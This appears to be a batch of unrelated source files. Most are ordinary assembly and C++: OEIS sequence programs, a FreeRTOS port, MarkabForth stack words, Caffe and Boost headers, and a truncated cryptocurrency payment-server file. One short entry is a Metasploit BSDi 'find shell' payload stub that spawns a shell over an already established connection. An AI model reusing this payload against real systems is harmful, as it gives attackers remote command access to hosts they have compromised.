CALL DOFIXUPPS_MODEND
L49$:
endif
L8$:
XOR EAX,EAX
MOV FIX2_LDATA_PTR,EAX
MOV EAX,DPTR EXEHEADER._EXE_REG_IP
MOV WM_START_ADDR,EAX
L9$:
RESS DOING_START_ADDRESS
RET
HANDLE_START_ADDRESS ENDP
if fg_segm
RC_STARTER PROC NEAR
;
;
;
GETT AL,OUTPUT_SEGMENTED
MOV EDX,SEGMENT_COUNT
TEST AL,AL
JZ L9$
TEST EDX,EDX
JZ L9$
MOVZX EAX,WPTR NEXEHEADER._NEXE_CSIP+2
MOV ESI,SEGMENT_TABLE_PTR
MOV EDI,MASK SR_PRELOAD
ADD ESI,SIZEOF SEGTBL_STRUCT+SEGTBL_STRUCT._SEGTBL_FLAGS ;OFFSET TO FLAGS
CONV_EAX_SEGTBL_ECX
OR [ECX]._SEGTBL_FLAGS,EDI ;MARK START SEGMENT AS PRELOAD
BITT RC_REORDER
JZ L9$
SETT RC_PRELOADS
BITT RC_REORDER_SEGS
JZ L5$
L0$:
MOV EBX,MASK SR_DISCARD+MASK SR_MOVABLE
L1$:
MOV EAX,[ESI]
ADD ESI,SIZEOF SEGTBL_STRUCT
MOV ECX,EAX
XOR EAX,EBX
TEST EAX,EBX
JZ L2$
OR ECX,EDI
MOV [ESI - SIZEOF SEGTBL_STRUCT],ECX
L2$:
DEC EDX
JNZ L1$
L9$:
RET
L5$:
if fg_winpack
BITT WINPACK_SELECTED
JNZ L0$
endif
;
;MARK NOTHING PRELOADED
;
MOV EDI,NOT MASK SR_PRELOAD
L6$:
AND [ESI],EDI
ADD ESI,SIZEOF SEGTBL_STRUCT
DEC EDX
JNZ L6$
RET
RC_STARTER ENDP
endif
SELECT_CV4_OUTPUT PROC
;
;
;
MOV LOC_10,OFF LOC_10_PROT
MOV LOC_CALLTBL_PTR,OFF LOC_CALLTBL_PROT
RET
SELECT_CV4_OUTPUT ENDP
.CONST
ALIGN 4
FIX2_TARG_TABLE_CV LABEL DWORD
DD TARG_SEGMOD_CV
DD TARG_GROUP_CV
DD TARG_EXTERNAL_CV
DD TARG_ASEG_CV
FIX2_TARG_TABLE_NORMAL LABEL DWORD
DD TARG_SEGMOD_NORMAL
DD TARG_GROUP_NORMAL
DD TARG_EXTERNAL_NORMAL
DD TARG_ASEG_NORMAL
if fg_pe
FIX2_TARG_TABLE_PE LABEL DWORD
DD TARG_SEGMOD_NORMAL
DD TARG_GROUP_NORMAL
DD TARG_EXTERNAL_NORMAL
DD TARG_ASEG_NORMAL
PUBLIC FIX2_TARG_TABLE_CV32
FIX2_TARG_TABLE_CV32 LABEL DWORD
DD TARG_SEGMOD_CV32
DD TARG_GROUP_CV32
DD TARG_EXTERNAL_CV32
DD TARG_ASEG_CV
endif
FIX2_FRAME_TABLE LABEL DWORD
DD FRAME_SEGMENT
DD FRAME_GROUP
DD FRAME_EXTERNAL
DD FRAME_ABSOLUTE
DD FRAME_LOC
DD FRAME_TARG
;LOC_CALLTBL LABEL WORD
if fg_prot
ALIGN 4
LOC_CALLTBL_PROT LABEL DWORD
;
;16-BIT SELF-RELATIVE
;
DD LOC_0_PROT
DD LOC_1_PROT
REPT 6
DD BAD_MYLOC
ENDM
;32-BIT SELF-RELATIVE
DD BAD_MYLOC
DD LOC_32SELF_PROT
REPT 6
DD BAD_MYLOC
ENDM
;16-BIT SEGMENT-RELATIVE
DD LOC2_8
DD LOC_9
DD LOC_10_PROT
DD LOC_11_PROT
DD LOC2_12
DD LOC_13_PROT
REPT 2
DD BAD_MYLOC
ENDM
;32-BIT SEGMENT-RELATIVE
DD BAD_MYLOC
DD LOC_DWORD_OFFSET
DD LOC_DWORD_OFFSET ;TLS
DD LOC_FWORD_PTR_PROT
DD BAD_MYLOC
DD LOC_DWORD_OFFSET1_PROT
DD BAD_MYLOC
DD BAD_MYLOC
endif
if fg_pe
ALIGN 4
LOC_CALLTBL_PE LABEL DWORD
;
;16-BIT SELF-RELATIVE
;
DD LOC_0_PE ;0
DD BAD_MYLOC ;16-BIT SELF-RELATIVE ILLEGAL
REPT 6
DD BAD_MYLOC
ENDM
;32-BIT SELF-RELATIVE
DD BAD_MYLOC ;8
DD LOC_32SELF_PE
REPT 6
DD BAD_MYLOC
ENDM
;16-BIT SEGMENT-RELATIVE
DD LOC2_8 ;LO BYTE ;16
DD LOC_9_PE ;16-BIT OFFSET, ???
DD BAD_MYLOC ;SEGMENT
DD BAD_MYLOC ;16:16
DD LOC2_12 ;HI BYTE
DD LOC_9_PE ;16 BIT OFFSET
REPT 2
DD BAD_MYLOC
ENDM
;32-BIT SEGMENT-RELATIVE
DD BAD_MYLOC ;24
DD LOC_DWORD_OFFSET_PE
DD LOC_DWORD_OFFSET_TLS ;
DD BAD_MYLOC ;FWORD 16:32...
DD BAD_MYLOC
DD LOC_DWORD_OFFSET_PE
DD BAD_MYLOC
DD BAD_MYLOC
endif
if fg_norm_exe
ALIGN 4
LOC_CALLTBL_REAL LABEL DWORD
;
;16-BIT SELF-RELATIVE
;
DD LOC_0_REAL
DD LOC_1_REAL
REPT 6
DD BAD_MYLOC
ENDM
;32-BIT SELF-RELATIVE
DD BAD_MYLOC
DD LOC_32SELF_REAL
REPT 6
DD BAD_MYLOC
ENDM
;16-BIT SEGMENT-RELATIVE
DD LOC2_8
DD LOC_9
DD LOC_10_REAL
DD LOC_11_REAL
DD LOC2_12
DD LOC_13_REAL
REPT 2
DD BAD_MYLOC
ENDM
;32-BIT SEGMENT-RELATIVE
DD BAD_MYLOC
DD LOC_DWORD_OFFSET
DD LOC_DWORD_OFFSET ;TLS
DD LOC_FWORD_PTR_REAL
DD BAD_MYLOC
DD LOC_DWORD_OFFSET1_REAL
DD BAD_MYLOC
DD BAD_MYLOC
endif
if fg_segm
ALIGN 4
IMP_CALLTBL LABEL DWORD
;
;16-BIT SELF-RELATIVE ALL ILLEGAL ON IMPORTS
;
REPT 8
DD BAD_MYLOC_IMP
ENDM
;
;32-BIT SELF-RELATIVE ALL ILLEGAL ON IMPORTS - TODAY
;
REPT 8
DD BAD_MYLOC_IMP
ENDM
;
;16-BIT SEGMENT-RELATIVE
;
DD IMP_8
DD IMP_9
DD IMP_10
DD IMP_11
DD BAD_MYLOC
DD IMP_9 ;WIERD...
REPT 2
DD BAD_MYLOC
ENDM
;
;32-BIT SEGMENT-RELATIVE
;
DD BAD_MYLOC
DD IMP_DWORD_OFFSET
DD IMP_DWORD_OFFSET ;tls is not an import...
DD IMP_FWORD_PTR
DD BAD_MYLOC
DD IMP_DWORD_OFFSET
DD BAD_MYLOC
DD BAD_MYLOC
endif
FIX2_EXT_TYPE_XLAT LABEL BYTE
DB 0 ;SYM_UNDEFINED
DB MASK SEG_ASEG ;SYM_ASEG
DB MASK SEG_RELOC ;SYM_RELOCATABLE
DB 0 ;SYM_NEAR_COMMUNAL
DB 0 ;SYM_FAR_COMMUNAL
DB 0 ;SYM_HUGE_COMMUNAL
DB MASK SEG_ASEG + MASK SEG_CONST ;SYM_CONST
DB 0 ;SYM_LIBRARY
DB 0 ;SYM_IMPORT
DB 0 ;SYM_PROMISED
DB 0 ;SYM_UNDEFINED
DB 0 ;WEAK_eXTRN
DB 0 ;POS_WEAK
DB 0 ;LIBRARY_LIST
DB 0 ;BVIRDEF
DB 0 ;ALIASED
DB 0 ;COMDAT
DB 0 ;WEAK-DEFINED
DB 10 DUP(?)
DB 0 ;__imp__
DB 0 ;UNDECORATED
.ERRNZ ($-FIX2_EXT_TYPE_XLAT)-NSYM_SIZE/2
if debug
START_MSG DB SIZEOF START_MSG-1,'Doing Start Address',0DH,0AH
FARCALL_MSG DB SIZEOF FARCALL_MSG-1,'Doing FARCALLTRANSLATION',0DH,0AH
FARCALLFINI_MSG DB SIZEOF FARCALLFINI_MSG-1,'Finished FARCALLTRANSLATION',0DH,0AH
endif
end
|
; A071178: Exponent of the largest prime factor of n.
; Submitted by Jon Maiga
; 0,1,1,2,1,1,1,3,2,1,1,1,1,1,1,4,1,2,1,1,1,1,1,1,2,1,3,1,1,1,1,5,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,2,2,1,1,1,3,1,1,1,1,1,1,1,1,1,6,1,1,1,1,1,1,1,2,1,1,2,1,1,1,1,1,4,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,2
add $0,1
pow $0,6
lpb $0
mov $3,$0
lpb $3
mov $4,$0
mov $6,$2
cmp $6,0
add $2,$6
mod $4,$2
add $2,1
cmp $4,0
cmp $4,$6
sub $3,$4
lpe
mov $5,0
lpb $0
dif $0,$2
add $5,1
lpe
lpe
mov $0,$5
div $0,6
|
; A010546: Decimal expansion of square root of 95.
; 9,7,4,6,7,9,4,3,4,4,8,0,8,9,6,3,9,0,6,8,3,8,4,1,3,1,9,9,8,9,9,6,0,0,2,9,9,2,5,2,5,8,3,9,0,0,3,3,7,4,9,1,0,3,1,9,9,1,7,5,0,0,0,5,7,2,0,0,8,1,7,7,2,4,6,0,2,4,9,3,5,6,8,4,8,7,1,2,0,9,6,0,3,8,0,6,5,5,2,7
mov $1,1
mov $2,1
mov $3,$0
add $3,8
mov $4,$0
add $4,3
mul $4,2
mov $7,10
pow $7,$4
mov $9,10
lpb $3
mov $4,$2
pow $4,2
mul $4,95
mov $5,$1
pow $5,2
add $4,$5
mov $6,$1
mov $1,$4
mul $6,$2
mul $6,2
mov $2,$6
mov $8,$4
div $8,$7
max $8,2
div $1,$8
div $2,$8
sub $3,1
lpe
mov $3,$9
pow $3,$0
div $2,$3
div $1,$2
mod $1,$9
mov $0,$1
|
; Addition and Subtraction (AddSubTest.asm)
; Chapter 4 example. Demonstration of ADD, SUB,
; INC, DEC, and NEG instructions, and how
; they affect the CPU status flags.
.386
.model flat,stdcall
.stack 4096
ExitProcess proto,dwExitCode:dword
.data
Rval SDWORD ?
Xval SDWORD 26
Yval SDWORD 30
Zval SDWORD 40
.code
main proc
; INC and DEC
mov ax,1000h
inc ax ; 1001h
dec ax ; 1000h
; Expression: Rval = -Xval + (Yval - Zval)
mov eax,Xval
neg eax ; -26
mov ebx,Yval
sub ebx,Zval ; -10
add eax,ebx
mov Rval,eax ; -36
; Zero flag example:
mov cx,1
sub cx,1 ; ZF = 1
mov ax,0FFFFh
inc ax ; ZF = 1
; Sign flag example:
mov cx,0
sub cx,1 ; SF = 1
mov ax,7FFFh
add ax,2 ; SF = 1
; Carry flag example:
mov al,0FFh
add al,1 ; CF = 1, AL = 00
; Overflow flag example:
mov al,+127
add al,1 ; OF = 1
mov al,-128
sub al,1 ; OF = 1
invoke ExitProcess,0
main endp
end main |
;;
;
; Name: single_find_tcp_shell
; Version: $Revision: 1633 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Single findsock TCP shell.
;
; Meta-Information:
;
; meta-shortname=BSDi FindTag Shell
; meta-description=Spawn a shell on an established connection
; meta-authors=skape <mmiller [at] hick.org>
; meta-os=bsdi
; meta-arch=ia32
; meta-category=single
; meta-connection-type=findtag
; meta-name=find_shell
; meta-basemod=Msf::PayloadComponent::FindConnection
; meta-offset-findtag=0x23
;;
BITS 32
%define USE_SINGLE_STAGE 1
%include "generic.asm"
%include "stager_sock_find.asm"
shell:
execve_binsh EXECUTE_REDIRECT_IO
|
; A182777: Beatty sequence for 3-sqrt(3).
; 1,2,3,5,6,7,8,10,11,12,13,15,16,17,19,20,21,22,24,25,26,27,29,30,31,32,34,35,36,38,39,40,41,43,44,45,46,48,49,50,51,53,54,55,57,58,59,60,62,63,64,65,67,68,69,71,72,73,74,76,77,78,79,81,82,83,84,86,87,88,90,91,92,93,95,96,97,98,100,101,102,103,105,106,107,109,110,111,112,114,115,116,117,119,120,121,122,124,125,126,128,129,130,131,133,134,135,136,138,139,140,142,143,144,145,147,148,149,150,152,153,154,155,157,158,159,161,162,163,164,166,167,168,169,171,172,173,174,176,177,178,180,181,182,183,185,186,187,188,190,191,192,193,195,196,197,199,200,201,202,204,205,206,207,209,210,211,213,214,215,216,218,219,220,221,223,224,225,226,228,229,230,232,233,234,235,237,238,239,240,242,243,244,245,247,248,249,251,252,253,254,256,257,258,259,261,262,263,265,266,267,268,270,271,272,273,275,276,277,278,280,281,282,284,285,286,287,289,290,291,292,294,295,296,297,299,300,301,303,304,305,306,308,309,310,311,313,314,315,316
mov $2,$0
add $2,$0
add $0,2
add $0,$2
cal $0,195072 ; a(n) = n - floor(n/sqrt(3)).
mov $1,$0
sub $1,1
|
; Copyright (c) 2022 Sam Blenny
; SPDX-License-Identifier: MIT
;
; MarkabForth data stack words (meant to be included in ../libmarkab.nasm)
; This include path is relative to the working directory that will be in effect
; when running the Makefile in the parent directory of this file. So the
; include path is relative to ../Makefile, which is confusing.
%include "libmarkab/common_macros.nasm"
extern DSBase
extern Mem
extern mErr1Underflow
extern mErr2Overflow
global mNop
global mDup
global mSwap
global mOver
global mReset
global mPush
global mPopW
global mDrop
global mU8
global mI8
global mU16
global mI16
global mI32
mNop: ; NOP - do nothing
ret
mDup: ; DUP - Push T
movq rdi, DSDeep ; check if stack is empty
test rdi, rdi
jz mErr1Underflow
mov W, T
jmp mPush
mSwap: ; SWAP - Swap T and second item on stack
movq rdi, DSDeep ; check if stack depth is >= 2
cmp edi, 2
jb mErr1Underflow
sub edi, 2
xchg T, [DSBase+4*edi]
ret
mOver: ; OVER - Push second item on stack
movq rdi, DSDeep ; check if stack depth is >= 2
cmp edi, 2
jb mErr1Underflow
sub edi, 2
mov W, [DSBase+4*edi]
jmp mPush
mReset: ; RESET - Drop all stack cells (data & return)
xor rdi, rdi
movq DSDeep, rdi
movq RSDeep, rdi
ret
mPush: ; PUSH - Push W to data stack
movq rdi, DSDeep
cmp edi, DSMax
jnb mErr2Overflow
dec edi ; calculate store index of old_depth-2+1
mov [DSBase+4*edi], T ; store old value of T
mov T, W ; set T to caller's value of W
add edi, 2 ; CAUTION! `add di, 2` or `dil, 2` _not_ okay!
movq DSDeep, rdi ; this depth includes T + (DSMax-1) memory items
ret
mPopW: ; POP - alias for mDrop (which copies T to W)
mDrop: ; DROP - pop T, saving a copy in W
movq rdi, DSDeep ; check if stack depth >= 1
cmp edi, 1
jb mErr1Underflow
dec edi ; new_depth = old_depth-1
movq DSDeep, rdi
mov W, T
dec edi ; convert depth to second item index (old_depth-2)
mov T, [DSBase+4*edi]
ret
mU8: ; Push zero-extended unsigned 8-bit literal
movzx W, byte [Mem+ebp] ; read literal from token stream
inc ebp ; ajust I
jmp mPush
mI8: ; Push sign-extended signed 8-bit literal
movsx W, byte [Mem+ebp] ; read literal from token stream
inc ebp ; ajust I
jmp mPush
mU16: ; Push zero-extended unsigned 16-bit literal
movzx W, word [Mem+ebp] ; read literal from token stream
add ebp, 2 ; adjust I
jmp mPush
mI16: ; Push sign-extended signed 16-bit literal
movsx W, word [Mem+ebp] ; read literal from token stream
add ebp, 2 ; adjust I
jmp mPush
mI32: ; Push signed 32-bit dword literal
mov W, dword [Mem+ebp] ; read literal from token stream
add ebp, 4 ; adjust I
jmp mPush
|
#ifndef CAFFE_DIVERGENCE_LOSS_LAYER_HPP_
#define CAFFE_DIVERGENCE_LOSS_LAYER_HPP_
#include <utility>
#include <vector>
#include "caffe/blob.hpp"
#include "caffe/layer.hpp"
#include "caffe/layers/loss_layer.hpp"
#include "caffe/proto/caffe.pb.h"
namespace caffe {
/**
* @brief Takes a Blob and crop it, to the shape specified by the second input
* Blob, across all dimensions after the specified axis.
*
* TODO(dox): thorough documentation for Forward, Backward, and proto params.
*/
template <typename Dtype>
class DivergenceLossLayer : public LossLayer<Dtype> {
public:
explicit DivergenceLossLayer(const LayerParameter& param)
: LossLayer<Dtype>(param), sigma_() {}
virtual void Reshape(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual inline const char* type() const { return "DivergenceLoss"; }
virtual inline bool AllowForceBackward(const int bottom_index) const {
return true;
}
protected:
virtual void Forward_cpu(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual void Forward_gpu(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual void Backward_cpu(const vector<Blob<Dtype>*>& top,
const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom);
virtual void Backward_gpu(const vector<Blob<Dtype>*>& top,
const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom);
Blob<Dtype> sigma_;
Blob<Dtype> multiplier_;
};
} // namespace caffe
#endif // CAFFE_DIVERGENCE_LOSS_LAYER_HPP_
|
; A176099: Prime(n) + A158611(n).
; Submitted by Simon Strandgaard
; 2,4,7,10,16,20,28,32,40,48,54,66,72,80,88,96,106,114,126,132,140,150,156,168,180,190,200,208,212,220,236,244,264,270,286,290,306,314,324,336,346,354,370,374,388,392,408,422,438,452,460,468,474,490,498,514
mov $2,$0
seq $0,158611 ; 0, 1 and the primes.
seq $2,40 ; The prime numbers.
add $0,$2
|
#ifndef BOOST_TEXT_GRAPHEME_VIEW_HPP
#define BOOST_TEXT_GRAPHEME_VIEW_HPP
#include <boost/text/grapheme_iterator.hpp>
#include <boost/text/transcode_algorithm.hpp>
#include <boost/text/transcode_view.hpp>
#include <boost/stl_interfaces/view_interface.hpp>
namespace boost { namespace text { inline namespace v1 {
namespace detail {
template<typename CPIter, typename Sentinel>
using gr_view_sentinel_t = std::conditional_t<
std::is_same<CPIter, Sentinel>::value,
grapheme_iterator<CPIter, Sentinel>,
Sentinel>;
}
/** A view over graphemes that occur in an underlying sequence of code
points. */
template<typename CPIter, typename Sentinel = CPIter>
struct grapheme_view
: stl_interfaces::view_interface<grapheme_view<CPIter, Sentinel>>
{
using iterator = grapheme_iterator<CPIter, Sentinel>;
using sentinel = detail::gr_view_sentinel_t<CPIter, Sentinel>;
constexpr grapheme_view() : first_(), last_() {}
/** Construct a grapheme view that covers the entirety of the view
of graphemes that `begin()` and `end()` lie within. */
constexpr grapheme_view(iterator first, sentinel last) :
first_(first),
last_(last)
{}
/** Construct a grapheme view that covers the entirety of the view
of graphemes that `begin()` and `end()` lie within. */
constexpr grapheme_view(CPIter first, Sentinel last) :
first_(first, first, last),
last_(detail::make_iter<sentinel>(first, last, last))
{}
/** Construct a view covering a subset of the view of graphemes that
`begin()` and `end()` lie within. */
template<
typename I = CPIter,
typename S = Sentinel,
typename Enable = std::enable_if_t<std::is_same<I, S>::value>>
constexpr grapheme_view(I first, I view_first, I view_last, I last) :
first_(first, view_first, last),
last_(first, view_last, last)
{}
constexpr iterator begin() const noexcept { return first_; }
constexpr sentinel end() const noexcept { return last_; }
friend constexpr bool operator==(grapheme_view lhs, grapheme_view rhs)
{
return lhs.begin() == rhs.begin() && lhs.end() == rhs.end();
}
friend constexpr bool operator!=(grapheme_view lhs, grapheme_view rhs)
{
return !(lhs == rhs);
}
friend std::ostream & operator<<(std::ostream & os, grapheme_view v)
{
boost::text::v1::transcode_utf_32_to_8(
v.begin().base(),
v.end().base(),
std::ostreambuf_iterator<char>(os));
return os;
}
#if defined(_MSC_VER)
friend std::wostream & operator<<(std::wostream & os, grapheme_view v)
{
boost::text::v1::transcode_utf_32_to_16(
v.begin(), v.end(), std::ostreambuf_iterator<wchar_t>(os));
return os;
}
#endif
private:
iterator first_;
sentinel last_;
};
/** Returns a `grapheme_view` over the data in `[first, last)`, transcoding
the data if necessary. */
template<typename Iter, typename Sentinel>
constexpr auto as_graphemes(Iter first, Sentinel last) noexcept
{
auto unpacked = detail::unpack_iterator_and_sentinel(first, last);
auto r =
detail::make_utf32_range_(unpacked.tag_, unpacked.f_, unpacked.l_);
return grapheme_view<decltype(r.f_), decltype(r.l_)>(r.f_, r.l_);
}
namespace detail {
template<
typename Range,
bool Pointer = char_ptr<Range>::value || _16_ptr<Range>::value ||
cp_ptr<Range>::value>
struct as_graphemes_dispatch
{
static constexpr auto call(Range const & r_) noexcept
{
auto r = as_utf32(r_);
return grapheme_view<decltype(r.begin()), decltype(r.end())>(
r.begin(), r.end());
}
};
template<typename Ptr>
struct as_graphemes_dispatch<Ptr, true>
{
static constexpr auto call(Ptr p) noexcept
{
auto r = as_utf32(p);
return grapheme_view<decltype(r.begin()), null_sentinel>(
r.begin(), null_sentinel{});
}
};
}
/** Returns a `grapheme_view` over the data in `r`, transcoding the data
if necessary. */
template<typename Range>
constexpr auto as_graphemes(Range const & r) noexcept
-> decltype(detail::as_graphemes_dispatch<Range>::call(r))
{
return detail::as_graphemes_dispatch<Range>::call(r);
}
}}}
#endif
|
; A125176: Row sums of A125175.
; 1,3,7,14,28,56,112,224,448,896,1792,3584,7168,14336,28672,57344,114688,229376,458752,917504,1835008,3670016,7340032,14680064,29360128,58720256,117440512,234881024,469762048,939524096,1879048192,3758096384,7516192768,15032385536,30064771072,60129542144,120259084288,240518168576,481036337152,962072674304,1924145348608,3848290697216,7696581394432,15393162788864,30786325577728,61572651155456,123145302310912,246290604621824,492581209243648,985162418487296,1970324836974592,3940649673949184,7881299347898368
mov $1,2
pow $1,$0
mul $1,7
div $1,4
|
; A194826: Units' digits of the nonzero 9-gonal (nonagonal) numbers.
; 1,9,4,6,5,1,4,4,1,5,6,4,9,1,0,6,9,9,6,0,1,9,4,6,5,1,4,4,1,5,6,4,9,1,0,6,9,9,6,0,1,9,4,6,5,1,4,4,1,5,6,4,9,1,0,6,9,9,6,0,1,9,4,6,5,1,4,4,1,5,6,4,9,1,0,6,9,9,6,0,1,9,4,6,5,1,4,4,1,5,6,4,9,1,0,6,9,9,6,0
mul $0,3
seq $0,213472 ; Period 20, repeat 1, 4, 0, 9, 1, 6, 4, 5, 9, 6, 6, 9, 5, 4, 6, 1, 9, 0, 4, 1.
|
;
; Old School Computer Architecture - SD Card driver
; Taken from the OSCA Bootcode by Phil Ruston 2011
;
; Ported by Stefano Bodrato, 2012
;
; Deselect the sdcard
; AF holds the result code of the previous operations and must be preserved.
;
; $Id: sd_deselect_card.asm,v 1.2 2015/01/19 01:33:07 pauloscustodio Exp $
;
PUBLIC sd_deselect_card
EXTERN sd_send_eight_clocks
INCLUDE "osca.def"
sd_deselect_card:
push af
in a,(sys_sdcard_ctrl2)
set sd_cs,a
out (sys_sdcard_ctrl2),a
call sd_send_eight_clocks ; send 8 clocks to make card de-assert its Dout line
pop af
ret
|
;/*
; * FreeRTOS Kernel V10.2.1
; * Copyright (C) 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
; *
; * Permission is hereby granted, free of charge, to any person obtaining a copy of
; * this software and associated documentation files (the "Software"), to deal in
; * the Software without restriction, including without limitation the rights to
; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
; * the Software, and to permit persons to whom the Software is furnished to do so,
; * subject to the following conditions:
; *
; * The above copyright notice and this permission notice shall be included in all
; * copies or substantial portions of the Software.
; *
; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
; *
; * http://www.FreeRTOS.org
; * http://aws.amazon.com/freertos
; *
; * 1 tab == 4 spaces!
; */
.thumb
.ref pxCurrentTCB
.ref vTaskSwitchContext
.ref ulMaxSyscallInterruptPriority
.def xPortPendSVHandler
.def ulPortGetIPSR
.def vPortSVCHandler
.def vPortStartFirstTask
NVICOffsetConst: .word 0xE000ED08
CPACRConst: .word 0xE000ED88
pxCurrentTCBConst: .word pxCurrentTCB
ulMaxSyscallInterruptPriorityConst: .word ulMaxSyscallInterruptPriority
; -----------------------------------------------------------
.align 4
ulPortGetIPSR: .asmfunc
mrs r0, ipsr
bx r14
.endasmfunc
; -----------------------------------------------------------
.align 4
vPortSetInterruptMask: .asmfunc
push {r0}
ldr r0, ulMaxSyscallInterruptPriorityConst
msr basepri, r0
pop {r0}
bx r14
.endasmfunc
; -----------------------------------------------------------
.align 4
xPortPendSVHandler: .asmfunc
mrs r0, psp
isb
;/* Get the location of the current TCB. */
ldr r3, pxCurrentTCBConst
ldr r2, [r3]
;/* Save the core registers. */
stmdb r0!, {r4-r11}
;/* Save the new top of stack into the first member of the TCB. */
str r0, [r2]
stmdb sp!, {r3, r14}
ldr r0, ulMaxSyscallInterruptPriorityConst
ldr r1, [r0]
msr basepri, r1
dsb
isb
bl vTaskSwitchContext
mov r0, #0
msr basepri, r0
ldmia sp!, {r3, r14}
;/* The first item in pxCurrentTCB is the task top of stack. */
ldr r1, [r3]
ldr r0, [r1]
;/* Pop the core registers. */
ldmia r0!, {r4-r11}
msr psp, r0
isb
bx r14
.endasmfunc
; -----------------------------------------------------------
.align 4
vPortSVCHandler: .asmfunc
;/* Get the location of the current TCB. */
ldr r3, pxCurrentTCBConst
ldr r1, [r3]
ldr r0, [r1]
;/* Pop the core registers. */
ldmia r0!, {r4-r11}
msr psp, r0
isb
mov r0, #0
msr basepri, r0
orr r14, #0xd
bx r14
.endasmfunc
; -----------------------------------------------------------
.align 4
vPortStartFirstTask: .asmfunc
;/* Use the NVIC offset register to locate the stack. */
ldr r0, NVICOffsetConst
ldr r0, [r0]
ldr r0, [r0]
;/* Set the msp back to the start of the stack. */
msr msp, r0
;/* Clear the bit that indicates the FPU is in use in case the FPU was used
;before the scheduler was started - which would otherwise result in the
;unnecessary leaving of space in the SVC stack for lazy saving of FPU
;registers. */
mov r0, #0
msr control, r0
;/* Call SVC to start the first task. */
cpsie i
cpsie f
dsb
isb
svc #0
.endasmfunc
; -----------------------------------------------------------
|
; Set 8-bit accumulator
setaxs .macro
SEP #$30 ; set A&X short
.as
.xs
.endm
; Set 16-bit accumulator
setaxl .macro
REP #$30 ; set A&X long
.al
.xl
.endm
; Set 8-bit accumulator
setas .macro
SEP #$20 ; set A short
.as
.endm
; Set 16-bit accumulator
setal .macro
REP #$20 ; set A long
.al
.endm
; Set 8 bit index registers
setxs .macro
SEP #$10 ; set X short
.xs
.endm
; Set 16-bit index registers
setxl .macro
REP #$10 ; set X long
.xl
.endm
sdb .macro ; Set the B (Data bank) register
pha ; begin setdbr macro
php
.setas
lda #\1
pha
plb
.databank \1
plp
pla ; end setdbr macro
.endm
|
// Copyright (c) 2011-2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "paymentserver.h"
#include "bitcoinunits.h"
#include "guiutil.h"
#include "optionsmodel.h"
#include "base58.h"
#include "chainparams.h"
#include "policy/policy.h"
#include "ui_interface.h"
#include "util.h"
#include "wallet/wallet.h"
#include <cstdlib>
#include <openssl/x509_vfy.h>
#include <QApplication>
#include <QByteArray>
#include <QDataStream>
#include <QDateTime>
#include <QDebug>
#include <QFile>
#include <QFileOpenEvent>
#include <QHash>
#include <QList>
#include <QLocalServer>
#include <QLocalSocket>
#include <QNetworkAccessManager>
#include <QNetworkProxy>
#include <QNetworkReply>
#include <QNetworkRequest>
#include <QSslCertificate>
#include <QSslError>
#include <QSslSocket>
#include <QStringList>
#include <QTextDocument>
#if QT_VERSION < 0x050000
#include <QUrl>
#else
#include <QUrlQuery>
#endif
const int BITCOIN_IPC_CONNECT_TIMEOUT = 1000; // milliseconds
const QString BITCOIN_IPC_PREFIX("terracash:");
// BIP70 payment protocol messages
const char* BIP70_MESSAGE_PAYMENTACK = "PaymentACK";
const char* BIP70_MESSAGE_PAYMENTREQUEST = "PaymentRequest";
// BIP71 payment protocol media types
const char* BIP71_MIMETYPE_PAYMENT = "application/terracash-payment";
const char* BIP71_MIMETYPE_PAYMENTACK = "application/terracash-paymentack";
const char* BIP71_MIMETYPE_PAYMENTREQUEST = "application/terracash-paymentrequest";
struct X509StoreDeleter {
void operator()(X509_STORE* b) {
X509_STORE_free(b);
}
};
struct X509Deleter {
void operator()(X509* b) { X509_free(b); }
};
namespace // Anon namespace
{
std::unique_ptr<X509_STORE, X509StoreDeleter> certStore;
}
//
// Create a name that is unique for:
// testnet / non-testnet
// data directory
//
static QString ipcServerName()
{
QString name("TerracashQt");
// Append a simple hash of the datadir
// Note that GetDataDir(true) returns a different path
// for -testnet versus main net
QString ddir(GUIUtil::boostPathToQString(GetDataDir(true)));
name.append(QString::number(qHash(ddir)));
return name;
}
//
// We store payment URIs and requests received before
// the main GUI window is up and ready to ask the user
// to send payment.
static QList<QString> savedPaymentRequests;
static void ReportInvalidCertificate(const QSslCertificate& cert)
{
#if QT_VERSION < 0x050000
qDebug() << QString("%1: Payment server found an invalid certificate: ").arg(__func__) << cert.serialNumber() << cert.subjectInfo(QSslCertificate::CommonName) << cert.subjectInfo(QSslCertificate::OrganizationalUnitName);
#else
qDebug() << QString("%1: Payment server found an invalid certificate: ").arg(__func__) << cert.serialNumber() << cert.subjectInfo(QSslCertificate::CommonName) << cert.subjectInfo(QSslCertificate::DistinguishedNameQualifier) << cert.subjectInfo(QSslCertificate::OrganizationalUnitName);
#endif
}
//
// Load OpenSSL's list of root certificate authorities
//
void PaymentServer::LoadRootCAs(X509_STORE* _store)
{
// Unit tests mostly use this, to pass in fake root CAs:
if (_store)
{
certStore.reset(_store);
return;
}
// Normal execution, use either -rootcertificates or system certs:
certStore.reset(X509_STORE_new());
// Note: use "-system-" default here so that users can pass -rootcertificates=""
// and get 'I don't like X.509 certificates, don't trust anybody' behavior:
